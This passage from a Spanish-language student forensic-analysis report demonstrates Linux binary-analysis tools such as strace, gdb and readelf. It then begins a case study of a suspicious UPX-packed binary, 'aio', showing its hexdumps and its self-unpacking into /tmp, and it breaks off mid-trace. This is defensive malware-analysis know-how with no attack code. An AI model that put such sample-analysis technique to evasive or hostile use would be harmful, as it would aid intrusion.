$ strace ./holamundo execve("./holamundo", ["./holamundo"], [/* 32 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7efb000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=66985, ...}) = 0 mmap2(NULL, 66985, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7eea000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ...}) = 0 mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7da9000 mmap2(0xb7ee4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13b) = 0xb7ee4000 mmap2(0xb7ee7000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ee7000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7da8000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7da86c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7ee4000, 4096, PROT_READ) = 0 munmap(0xb7eea000, 66985) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, write(1, "Hola Mundo!\n", 12Hola Mundo!

MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7efa000

) = 12 exit_group(0) = ? Process 17158 detached

La cantidad de información que devuelve el comando es demasiada, por lo tanto marcamos en

negrita la que queremos explicar. La linea en negrita muestra la llamada al sistema para escribir en la

salida estandar la cadena “Hola Mundo!”. El valor de retorno de esa llamada es la cantidad de bytes

que se escribieron y en este caso fueron 12 que es la longitud de “Hola Mundo!” mas el retorno de

carro ('\n').

En un caso real, con la información que nos devuelve strace vamos a poder saber si el binario

que estamos analisando esta abriendo un archivo, inicializando una conexión o pidiendo más memoria.

22

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Obviamente el analisis de la información que nos provee strace y su objetivo no es trivial y requiere de

mucho analisis.

Un comando parecido al anterir es ltrace. La diferencia con el anterior es que este intercepta

las llamadas a bibliotecas dinamicas. Si ejecutamos el comando con nuestro binario obtenemos lo

siguiente:

$ ltrace ./holamundo __libc_start_main(0x8048374, 1, 0xbfc0fcb4, 0x80483b0, 0x80483a0 <unfinished ...> puts("Hola Mundo!"Hola Mundo! ) = 12 +++ exited (status 0) +++

Como pueden ver, por la simpleza que tiene nuestro binario, la unica llama que es mostrada

por ltrace es a printf. Se preguntaran porque aparece puts y no printf. Esto se debe a una optimizacion

que realiza el compilador por ser la llamada a printf sin parametros extras.

La siguiente herramienta que vamos a mostrar nos ayudara a saber que conexiones, archivos

regulares o dispositivos y hasta los archivos que estan mapeados a memoria (como ser el codigo del

binario y el de las bibliotecas) estan siendo usados por un binario en ejecución. Esta comando, que se

llama lsof, tiene varias opciones por las cuales se puede filtrar la salida y los binarios a mostrar. El

comportamiento por defecto es examinar todos los binarios. A continuacion mostramos la salida de

lsof aplicado a un sleep 50 ejecutado en otra terminal:

$ lsof -p 14235 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME sleep 14235 ariel cwd DIR 8,2 4096 392484 /home/ariel sleep 14235 ariel rtd DIR 8,2 4096 2 / sleep 14235 ariel txt REG 8,2 14012 308986 /bin/sleep sleep 14235 ariel mem REG 0,0 0 [heap] (stat: No such file or directory) sleep 14235 ariel mem REG 8,2 238336 114358 /usr/lib/locale/en_AU.utf8/LC_CTYPE sleep 14235 ariel mem REG 8,2 880094 113815 /usr/lib/locale/en_AU.utf8/LC_COLLATE sleep 14235 ariel mem REG 8,2 1307104 941087 /lib/tls/i686/cmov/libc-2.5.so sleep 14235 ariel mem REG 8,2 54 113813 /usr/lib/locale/en_AU.utf8/LC_NUMERIC sleep 14235 ariel mem REG 8,2 2451 113814 /usr/lib/locale/en_AU.utf8/LC_TIME sleep 14235 ariel mem REG 8,2 286 114750 /usr/lib/locale/en_AU.utf8/LC_MONETARY sleep 14235 ariel mem REG 8,2 52 113818 /usr/lib/locale/en_AU.utf8/LC_MESSAGES/SYS_LC_MESSAGES sleep 14235 ariel mem REG 8,2 34 113819 /usr/lib/locale/en_AU.utf8/LC_PAPER sleep 14235 ariel mem REG 8,2 62 113820 /usr/lib/locale/en_AU.utf8/LC_NAME sleep 14235 ariel mem REG 8,2 127 114751 /usr/lib/locale/en_AU.utf8/LC_ADDRESS sleep 14235 ariel mem REG 8,2 53 114753 /usr/lib/locale/en_AU.utf8/LC_TELEPHONE sleep 14235 ariel mem REG 8,2 23 113823 /usr/lib/locale/en_AU.utf8/LC_MEASUREMENT sleep 14235 ariel mem REG 8,2 25460 98151 /usr/lib/gconv/gconv-modules.cache sleep 14235 ariel mem REG 8,2 369 114803 /usr/lib/locale/en_AU.utf8/LC_IDENTIFICATION sleep 14235 ariel mem REG 8,2 109268 908578 /lib/ld-2.5.so sleep 14235 ariel 0u CHR 136,2 4 /dev/pts/2 sleep 14235 ariel 1u CHR 136,2 4 /dev/pts/2 sleep 14235 ariel 2u CHR 136,2 4 /dev/pts/2

23

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Si observamos la salida, notaran que lsof devolvio mucha información a pesar que el comando

fue un simple sleep. Eso se debe a lo que se comento arriba sobre el mapeo de las bibliotecas y

dispositivos.

En el caso que el binario a examinar este escuchando en un socket o tenga establecida una

conexión, lsof agregara una entrada y en el campo TYPE indicara el tipo de conexión, como por

ejemplo Ipv4.

Otro comando útil para detectar si un puerto de conexión esta abierto o si hay alguna conexión

establecida es el comando netstat. A continuación se muestra la salida del comando cuando le

indicamos que nos liste todas las conexiones abiertas o establecidas de los protocolos de la familia

TCP/IP:

$ netstat -tan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:2208 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:2628 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:2207 0.0.0.0:* LISTEN tcp 0 0 192.168.0.16:50316 64.233.171.18:80 ESTABLISHED tcp 1 0 192.168.0.16:55818 212.58.226.33:80 CLOSE_WAIT tcp6 0 0 :::22 :::* LISTEN

Si quisieramos saber el nombre del binario y numero de proceso al cual pertenece la conexión,

tenemos que invocar al netstat con la opcion -p.

Volviendo al tema de los archivos de un proceso, vamos a comentar una herramienta que nos

va a servir en casos especiales. Cuando tengamos que examinar el archivo que tiene un proceso abierto

pero que cuando lo abrio, luego borro las entradas de directorio donde hacen referencia, nos va resultar

imposible encontrarlo de la manera normal: Buscandolo en los directorios. Para este tipo de casos, la

herramienta debugfs nos va a servir. El comando debugfs nos va dejar examinar el sistema de archivos

pero accediendo de diferentes maneras. Por ejemplo, en el caso anterior, la manera de proceder seria:

Buscamos el numero de inodo del archivo con el comando lsof y luego hacemos un dump del inodo a

un archivo (al cual podamos acceder) con la herramienta debugfs.

La ultima herramienta que nos queda ver para la parte dinamica es el debugger gdb. Con el

debugger vamos a poder examinar el flujo de la aplicación, establecer breakpoints donde la aplicación

se congela y asi poder mirar la memoria, registros e información del proceso. Si disponemos de

información de debug y codigo fuente, vamos a poder entender mas rapidamente el objetivo pero

obviamente esas cosas son las que van a faltar en un analisis de verdad.

24

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

A continuacion vamos a motrar una simple ejecucion del gdb con el holamundo. En el ejemplo

vamos a setear un breakpoint en el main y vamos a mostrar el codigo assembler. Luego vamos a tratar

de encontrar la direccion de memoria del parametro que se pasa a printf donde esta el “Hola Mundo!”.

Vamos a decirle al gdb que nos muestre el contenido de la direccion de memoria. Por ultimo le

decimos al gdb que continue con la ejecucion y cuando termine el holamundo nos vamos del gdb.

Obviamente este ejemplo del gdb no alcanza para mostrar la potencial del debugger pero nos da una

idea de las funcionalidades basicas que tiene. Comencemos el gdb pasandole por parametro el

programa que queremos analizar:

$ gdb ./holamundo GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)

Luego de mostrar la legenda de inicio, el gdb nos proporciona de un prompt donde le podemos

enviar comandos. Ahora vamos a establecer el breakpoint en la funcion main:

(gdb) break main Breakpoint 1 at 0x8048382

Ahora le decimos a gdb que ponga en funcionamiento el holamundo: (gdb) run Starting program: /home/ariel/src/fiuba/crypto/holamundo Breakpoint 1, 0x08048382 in main ()

Perfecto, holamundo arranco y cuando se encontro con el breakpoint, el gdb lo freno. Ahora

vamos a listar el codigo assemble proximo al PC (program counter): (gdb) disassemble Dump of assembler code for function main: 0x08048374 <main+0>: lea 0x4(%esp),%ecx 0x08048378 <main+4>: and $0xfffffff0,%esp 0x0804837b <main+7>: pushl 0xfffffffc(%ecx) 0x0804837e <main+10>: push %ebp 0x0804837f <main+11>: mov %esp,%ebp 0x08048381 <main+13>: push %ecx 0x08048382 <main+14>: sub $0x4,%esp 0x08048385 <main+17>: movl $0x804846c,(%esp) 0x0804838c <main+24>: call 0x80482bc <puts@plt> 0x08048391 <main+29>: mov $0x0,%eax 0x08048396 <main+34>: add $0x4,%esp 0x08048399 <main+37>: pop %ecx 0x0804839a <main+38>: pop %ebp 0x0804839b <main+39>: lea 0xfffffffc(%ecx),%esp 0x0804839e <main+42>: ret End of assembler dump.

Si observamos bien, antes de la llamada al printf (en realidad es puts porque el compilador

optimizo ya que la llamada al printf no tenia parametros extras) hay una operacion movl que su

funcion es apilar el parametro que se pasa al printf. Este parametro tiene la direccion en memoria de la

25

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

cadena con el texto de “Hola Mundo!”. Vamos a indicarle al gdb que nos imprima (interpretandolo

como una cadena) a la direccion de memoria a la que hace referencia la instruccion movl:

(gdb) x/s 0x804846c 0x804846c: "Hola Mundo!"

Perfecto, imprimio “Hola Mundo!” que era lo que esperabamos. Ahora vamos a indicarle al

gdb que continue la ejecucion del holamundo y luego nos vamos del gdb:

(gdb) continue Continuing. Hola Mundo! Program exited normally. (gdb) quit

En este corto ejemplo pudimos ver basicamente como opera el debugger gdb y las principales

funciones que incorpora.

Una buena herramienta que sirve de complemento a gdb es el ddd. El ddd es un frontend

grafico del gdb y otros debuggers de consola. Con el vamos a poder trabajar con el gdb usando una

interfaz grafica mas amigable. Lo más importante del ddd es su poder para graficar las estructuras en

memoria y sus relaciones de referencia.

26

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Herramientas para el análisis forense

Las herramientas de análisis forense hacen posible inspeccionar en el interior de un binario

desconocido para

Conocer la verdadera funcionalidad y capacidad de un programa

Reconocer la presencia de lógica maliciosa como una “time bomb” o “backdoor” que haga

posible tener acceso remoto al sistema, o mecanismos que recopilen información sensible de

la organización

En el caso de tener acceso al código fuente, cómo se puede estar seguro que dicho código

fue compilado en el binario que se está examinando

Herramientas en Linux/Unix

A continuación se listan las herramientas que se usan en un análisis de un archivo binario en

un entorno Linux/Unix. Luego de una breve descripción de la herramienta, se indica un link oficial de

la misma. En el Anexo 2 se brinda una breve descripción del modo de uso. md5sum

Esta herramienta se usa para calcular el md5 del binario a analizar. Es muy útil para saber

rápidamente si un archivo fue modificado (teniendo previamente el md5 calculado).

http://www.gnu.org/software/textutils/textutils.html

strings

Este comando recorre el archivo binario y muestra en la salida los textos que haya encontrado

adentro del archivo que sea visibles por un ser humano.

http://www.gnu.org/software/binutils/

hexdump

Este comando no ayuda a revisar el contenido del binario (o cualquier cosa que le demos)

mostrando el contenido en hexadecimal. Acepta varias opciones para poder formatear la salida de

varias maneras.

27

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

nm

Este comando muestra los símbolos del archivo objeto pasado por parámetro.

http://www.gnu.org/software/binutils/

ldd

Este comando muestra la dependencia que tiene el archivo ejecutable (pasado por parámetro)

con bibliotecas dinámicas.

readelf

Este comando muestra la información contenida en un binario del tipo ELF. El programa

ofrece un montón de alternativas y opciones para desplegar por pantalla el contenido de las secciones

de un archivo ELF.

http://www.gnu.org/software/binutils/

objdump

Este comando como el anterior sirve para examinar un archivo ELF. Aunque tienen muchas

funcionalidades en común, este tiene la posibilidad de mostrar el código assembler del archivo.

http://www.gnu.org/software/binutils/

strace

Este comando sirve para poder saber las llamadas al sistema (System Calls) que esta

realizando un proceso y las señales que le envía el sistema operativo. Es útil para analizar la

interacción del proceso con el sistema operativo.

http://sourceforge.net/projects/strace/

ltrace

Este comando es parecido al anterior pero también tiene la posibilidad de trazar las

invocaciones a librerías dinámicas.

http://ltrace.alioth.debian.org/

gdb

28

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Este programa es el debugger para Linux. También esta hay versiones para otros sistemas

operativos.

http://www.gnu.org/software/gdb/gdb.html

ddd

Este programa es un frontend de debuggers. Puede conectarse tanto gdb como a otros

debuggers de consola (como por ejemplo el dbx). La interfase es grafica y ayuda mucho a la hora de

tener que analizar los datos en memoria del binario.

http://www.gnu.org/software/ddd/

lsof

Este comando nos muestra los archivos abiertos de un proceso. La herramienta no se limita

solamente a los archivos reculares sino que muestra toda clase de archivo, como ser los dispositivos en

bloque o caracteres, los sockets, pipes, etc.

ftp://lsof.itap.purdue.edu/pub/tools/unix/lsof/

netstat

Este comando nos muestra el listado de las conexiones de red de los diferentes protocolos.

http://www.tazenda.demon.co.uk/phil/net-tools/

debugfs

Este comando nos ayudara a examinar archivos borrados o que todavia no fueron borrados

pero no estan referenciados en un directorio.

http://e2fsprogs.sourceforge.net

29

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Caso de estudio - aio

Contexto

Utilizamos la distribucion de linux Helix para bootear nuestra máquina desde su CD y tener un

entorno controlado de análisis.

Copiamos el archivo aio y comenzamos con el análisis.

Análisis Estático

$ md5sum aio > md5sum_aio.txt

Generamos un hash de 128 bits del archivo desconocido y lo almacenamos en el archivo

md5sum_aio.txt para poder verificar futuras alteraciones del archivo (causadas por errores

involuntarios durante el análisis o provocados directamente por el mismo ejecutable como

mecanismo de defensa).

$ cat md5sum_aio.txt

d98f30b5adb4b64526d46506e2d299a0 aio

Despliegamos el resultado de la operación para verificar que se halla creado exitosamente.

$ ls –al

-r-xr-xr-x 1 root root 12641 Jun 29 18:58 aio

Observamos que el archivo tiene 12.641 bytes.

$ file aio

aio: ELF 32-bit LSB executable, Intel 80386, version 1, statically

linked, corrupted section header size

Es un archivo ejecutable ELF 32 bits para Intel 80386. Esta linkeado estáticamente. Existe un

problema en el tamaño del header de la sección, está corrupto.

$ strings –a aio > strings_aio.txt

$ cat strings_aio.txt | less

Los strings que encontramos parecen estar cortados. Se observan segmentos de cadenas de

caracteres. Mostramos algunos ejemplos

Linux

XXXX

$

30

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

$Id:

UWVSQR

T$ 9

H+|$$

:ZY[^_]

/prof

filej

UPX2

UPX!

j!Xj

/tmp/upxAAAAAAAAAAA

[m{r

9090

/libr

nux.so.2

%;)6&1

9c7i

Algunas líneas nos llaman la atención ya que indican que el ejecutable puede tener en su interior

un servidor web.

xt/html

HTTP/1.1 404 N{

ot Foun=Dat'M5, 1

vJaW2002 03:19:55 GMT

Serv

}eD3.2"

(Unix)

$ hexdump –C –v aio | more

Examinamos con un editor hexadecimal el contenido del archivo. Extraemos el fragmento del

archivo

00000000 7f 45 4c 46 01 01 01 00 4c 69 6e 75 78 00 00 00 |.ELF....Linux...|

00000010 02 00 03 00 01 00 00 00 80 80 04 08 34 00 00 00 |............4...|

00000020 00 00 00 00 00 00 00 00 34 00 20 00 02 00 00 00 |........4. .....|

00000030 00 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................|

00000040 00 80 04 08 90 05 00 00 90 05 00 00 05 00 00 00 |................|

00000050 00 10 00 00 01 00 00 00 90 05 00 00 90 95 04 08 |................|

00000060 90 95 04 08 2c 00 00 00 2c 00 00 00 06 00 00 00 |....,...,.......|

00000070 00 10 00 00 fc 55 7a eb 7f 58 58 58 58 05 0b 0a |.....Uz..XXXX...|

00000080 31 ed 58 89 e1 8d 54 81 04 50 83 e4 f8 52 51 e8 |1.X...T..P...RQ.|

00000090 f4 01 00 00 f4 0a 00 24 20 20 20 20 20 20 20 20 |.......$ |

000000a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

000000b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

31

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

000000c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

000000d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

000000e0 20 20 20 20 0a 00 24 49 64 3a 20 20 20 20 20 20 | ..$Id: |

000000f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

00000100 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

00000110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |

00000130 0a 00 55 57 56 53 51 52 fc 8b 74 24 1c 8b 7c 24 |..UWVSQR..t$..|$|

00000140 24 83 cd ff eb 0c 90 90 8a 06 46 88 07 47 01 db |$.........F..G..|

00000150 75 07 8b 1e 83 ee fc 11 db 8a 07 72 eb b8 01 00 |u..........r....|

00000160 00 00 01 db 75 07 8b 1e 83 ee fc 11 db 11 c0 01 |....u...........|

00000170 db 73 ef 75 09 8b 1e 83 ee fc 11 db 73 e4 31 c9 |.s.u........s.1.|

00000180 83 e8 03 72 0d c1 e0 08 8a 06 46 83 f0 ff 74 76 |...r......F...tv|

En el offset 0x08 vemos el texto Linux, que esta en el campo “Magic” del header ELF, en el

ejemplo del holamundo esta sección estaba con 0x00 (NULLs).

En las líneas remarcadas observamos que existe una gran cantidad espacios (0x20), nada en la

especificación ELF indica algo similar. Esta situación revela un header no estandar, aparenta ser

evidencia de información borrada.

$ nm aio

nm: aio: no symbols

No existen símbolos. Posiblemente fueron removidos con strip.

$ ldd aio

not a dynamic executable

Es un archivo linkeado estáticamente, no carga ninguna share library.

$ readelf --file-header aio

ELF Header:

Magic: 7f 45 4c 46 01 01 01 00 4c 69 6e 75 78 00 00 00

Class: ELF32

Data: 2's complement, little endian

Version: 1 (current)

OS/ABI: UNIX - System V

ABI Version: 76

Type: EXEC (Executable file)

Machine: Intel 80386

Version: 0x1

Entry point address: 0x8048080

Start of program headers: 52 (bytes into file)

32

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Start of section headers: 0 (bytes into file)

Flags: 0x0

Size of this header: 52 (bytes)

Size of program headers: 32 (bytes)

Number of program headers: 2

Size of section headers: 0 (bytes)

Number of section headers: 0

Section header string table index: 0

Observamos que es un ejecutable para Intel 80386 y su entry point es 0x8048080. No tiene section

headers, pero si dos program headers.

$ readelf --section-headers aio

There are no sections in this file.

Efectivamente no posee section headers.

$ readelf --program-headers aio

Elf file type is EXEC (Executable file)

Entry point 0x8048080

There are 2 program headers, starting at offset 52

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align

LOAD 0x000000 0x08048000 0x08048000 0x00590 0x00590 R E 0x1000

LOAD 0x000590 0x08049590 0x08049590 0x0002c 0x0002c RW 0x1000

Ambas section headers de tipo LOAD, lo que implica que seran cargadas a memoria.

La primera sección está entre el offset 0x000000 y 0x000590. Se carga a memoria con permisos

de lectura y ejecución.

La segunda seccion esta entre el offset 0x000590 y 0x08049590. Se carga a memoria con permisos

de lectura y escritura.

Observamos esta sección obtenida previamente con el editor hexadecimal

00000590 2f 74 6d 70 2f 75 70 78 41 41 41 41 41 41 41 41 |/tmp/upxAAAAAAAA|

000005a0 41 41 41 00 00 00 00 00 00 70 00 00 03 00 00 00 |AAA......p......|

000005b0 22 00 00 00 ff ff ff ff 00 00 00 00 94 2c 15 5b |"............,.[|

000005c0 7d 63 00 00 7d 63 00 00 7d 63 00 00 69 2b 00 00 |}c..}c..}c..i+..|

000005d0 7f 3f 64 f9 7f 45 4c 46 01 00 02 00 03 00 0d 80 |.?d..ELF........|

000005e0 8e 04 fd 6f b3 dd 08 34 07 40 4e 17 0b 20 00 06 |...o...4.@N.. ..|

000005f0 00 28 00 22 00 1f cf 3d 77 cf 07 0f 03 80 04 08 |.(."...=w.......|

00000600 c0 0b 03 73 a7 69 9a 05 04 03 f4 1b 03 c9 5e 90 |...s.i........^.|

33

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

00000610 ee 13 1b 13 5b 6d 7b 72 d9 74 3f 00 39 30 39 30 |....[m{r.t?.9090|

00000620 00 10 1f 6d f7 dc 3d 3c 30 03 c0 04 08 e0 10 1c |...m..=<0.......|

00000630 83 1f 67 9a 66 90 06 02 4c 4c 03 f9 bd f7 dc d0 |..g.f...LL......|

00000640 0f 03 1f 63 03 08 01 1f 90 ee b9 81 04 08 20 1b |...c.......... .|

00000650 20 2f 6c 69 62 72 f6 df 6e 03 64 2d 06 6e 75 78 | /libr..n.d-.nux|

00000660 2e 73 6f 2e 32 9b 10 e6 2c 08 0f 47 4e 55 0b 03 |.so.2...,..GNU..|

Aparentemente el binario utiliza la carpeta emporal /tmp.

$ objdump –-syms aio

aio: file format elf32-i386

SYMBOL TABLE:

no symbols

Comprobamos nuevamente que no hay tabla de símbolos.

$ objdump –-debugging aio

aio: file format elf32-i386

objdump: aio: no recognized debugging informatio

No hay informacion de debugging.

$ objdump --file-headers aio

aio: file format elf32-i386

architecture: i386, flags 0x00000102:

EXEC_P, D_PAGED

start address 0x08048080

Tampoco encontramos informacion importante aquí.

$ objdump --disassemble aio

aio: file format elf32-i386

No es posible desensamblar el binario. Tendremos que utilizar las técnicas dinámicas para

continuar con nuestro análisis.

34

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Análisis Dinámico

El análisis estático no nos brindo demasiada información, asi que emprendemos el análisis

dinámico.

$ strace -o strace_aio.txt -x -e read=all -e write=all -ff ./aio

Ejecutamos el binario utilizando strace indicando el archivo strace_aio.txt para que en él guarde

toda la información generada.

La ejecución del aio espera el ingreso de datos mostrando.

Enter Password:

Escribimos 123 y presionamos Enter. La ejecución finaliza con el mensaje

You entered an Incorrect Password. Exiting...

$ less strace_aio.txt

Analizamos el resultado generado por strace.

execve("./aio", ["./aio"], [/* 33 vars */]) = 0

getpid() = 3946

open("/proc/3946/exe", O_RDONLY) = 3

lseek(3, 1468, SEEK_SET) = 1468

read(3, "\x94\x2c\x15\x5b\x7d\x63\x00\x00\x7d\x63\x00\x00", 12) = 12

| 00000 94 2c 15 5b 7d 63 00 00 7d 63 00 00 .,.[}c.. }c.. |

Durante la ejecución se le asigna el PID 3946, al archivo /proc/3946/exe se le asigna el file

descriptor 3 y es abierto como solo lectura. Continúa leyendo 12 bytes a partir del offset 1468,

todavía no sabemos por qué.

gettimeofday({1183164142, 541087}, NULL) = 0

unlink("/tmp/upxDYMIBV1AD1K") = -1 ENOENT (No such file or directory)

open("/tmp/upxDYMIBV1AD1K", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4

ftruncate(4, 25469) = 0

old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0xb7fbc000

Ejecuta gettimeofday, intenta borrar el archivo /tmp/upxDYMIBV1AD1K, lo abre y lo trunca en 25.469

bytes.

Si ejecutamos en múltiples oportunidades podemos ver como el archivo en /tmp cambia de nombre, pero

siempre con el prefijo upx. Esta puede ser una pista importante que después analizaremos.

35

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

read(3, "\x7d\x63\x00\x00\x69\x2b\x00\x00", 8) = 8 | 00000 7d 63 00 00 69 2b 00 00

}c..i+.. |

Nuevamente de /proc/3946/exe lee 8 bytes.

Nos encontramos con que

7d 63 (0x637d, asumiendo little endian) es 25.469, la cantidad de bytes que se utilizó como

parámetro de ftruncate.

69 2b (0x2b69) es 11.113, el valor del parámetro indicado en la siguiente invocación a read.

read(3, "\x7f\x3f\x64\xf9\x7f\x45\x4c\x46\x01\x00\x02\x00\x03\x00"..., 11113) =

11113

| 00000 7f 3f 64 f9 7f 45 4c 46 01 00 02 00 03 00 0d 80 .?d..ELF ........ |

| 00010 8e 04 fd 6f b3 dd 08 34 07 40 4e 17 0b 20 00 06 ...o...4 .@N.. .. |

| 00020 00 28 00 22 00 1f cf 3d 77 cf 07 0f 03 80 04 08 .(."...= w....... |

| 00030 c0 0b 03 73 a7 69 9a 05 04 03 f4 1b 03 c9 5e 90 ...s.i.. ......^. |

| 00040 ee 13 1b 13 5b 6d 7b 72 d9 74 3f 00 39 30 39 30 ....[m{r .t?.9090 |

| 00050 00 10 1f 6d f7 dc 3d 3c 30 03 c0 04 08 e0 10 1c ...m..=< 0....... |

| 00060 83 1f 67 9a 66 90 06 02 4c 4c 03 f9 bd f7 dc d0 ..g.f... LL...... |

| 00070 0f 03 1f 63 03 08 01 1f 90 ee b9 81 04 08 20 1b ...c.... ...... . |

| 00080 20 2f 6c 69 62 72 f6 df 6e 03 64 2d 06 6e 75 78 /libr.. n.d-.nux |

| 00090 2e 73 6f 2e 32 9b 10 e6 2c 08 0f 47 4e 55 0b 03 .so.2... ,..GNU.. |

| 000a0 05 84 a6 69 9a 25 3b 29 36 26 31 83 0d 72 96 07 ...i.%;) 6&1..r.. |

| 000b0 1b 39 63 37 69 ba c9 66 4f 00 31 83 27 17 4d d3 .9c7i..f O.1.'.M. |

| 000c0 75 a7 1d 03 32 63 1f 3a 2c 6c c8 be 20 00 2a 5b u...2c.: ,l.. .*[ |

| 000d0 2b bf 49 37 d8 17 00 38 07 34 9b 30 64 c0 a6 b0 +.I7...8 .4.0d... |

| 000e0 00 02 0b 06 a4 1b c0 06 09 2b 0c 0f 08 18 b2 c1 ........ .+...... |

| 000f0 06 12 07 11 27 0e a6 e9 06 69 27 0f 0b 23 14 1e ....'... .i'..#.. |

Cadenas incompletas muy particulares se resaltaron porque nos llaman la atención.

Luego se escriben 25.469 bytes al file descriptor 4 (/tmp/upxDYMIBV1AD1K).

write(4, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 25469) =

25469

| 00000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 .ELF.... ........ |

| 00010 02 00 03 00 01 00 00 00 80 8e 04 08 34 00 00 00 ........ ....4... |

| 00020 40 4e 00 00 00 00 00 00 34 00 20 00 06 00 28 00 @N...... 4. ...(. |

| 00030 22 00 1f 00 06 00 00 00 34 00 00 00 34 80 04 08 "....... 4...4... |

| 00040 34 80 04 08 c0 00 00 00 c0 00 00 00 05 00 00 00 4....... ........ |

| 00050 04 00 00 00 03 00 00 00 f4 00 00 00 f4 80 04 08 ........ ........ |

36

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

| 00060 f4 80 04 08 13 00 00 00 13 00 00 00 04 00 00 00 ........ ........ |

| 00070 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 ........ ........ |

| 00080 00 80 04 08 39 30 00 00 39 30 00 00 05 00 00 00 ....90.. 90...... |

| 00090 00 10 00 00 01 00 00 00 3c 30 00 00 3c c0 04 08 ........ <0..<... |

| 000a0 3c c0 04 08 e0 01 00 00 1c 83 00 00 06 00 00 00 <....... ........ |

| 000b0 00 10 00 00 02 00 00 00 4c 30 00 00 4c c0 04 08 ........ L0..L... |

| 000c0 4c c0 04 08 d0 00 00 00 d0 00 00 00 06 00 00 00 L....... ........ |

| 000d0 04 00 00 00 04 00 00 00 08 01 00 00 08 81 04 08 ........ ........ |

| 000e0 08 81 04 08 20 00 00 00 20 00 00 00 04 00 00 00 .... ... ....... |

| 000f0 04 00 00 00 2f 6c 69 62 2f 6c 64 2d 6c 69 6e 75 ..../lib /ld-linu |

| 00100 78 2e 73 6f 2e 32 00 00 04 00 00 00 10 00 00 00 x.so.2.. ........ |

| 00110 01 00 00 00 47 4e 55 00 00 00 00 00 02 00 00 00 ....GNU. ........ |

Ahora se pueden identificar claramente las cadenas antes incompletas. Aparentemente se trata de

código ejecutable ELF.

read(3, "\x00\x00\x00\x00\x55\x50\x58\x21", 8) = 8

| 00000 00 00 00 00 55 50 58 21 ....UPX! |

munmap(0xb7fbc000, 28672) = 0

close(4) = 0

close(3) = 0

open("/tmp/upxDYMIBV1AD1K", O_RDONLY) = 3

access("/proc/3946/fd/3", R_OK|X_OK) = 0

unlink("/tmp/upxDYMIBV1AD1K") = 0

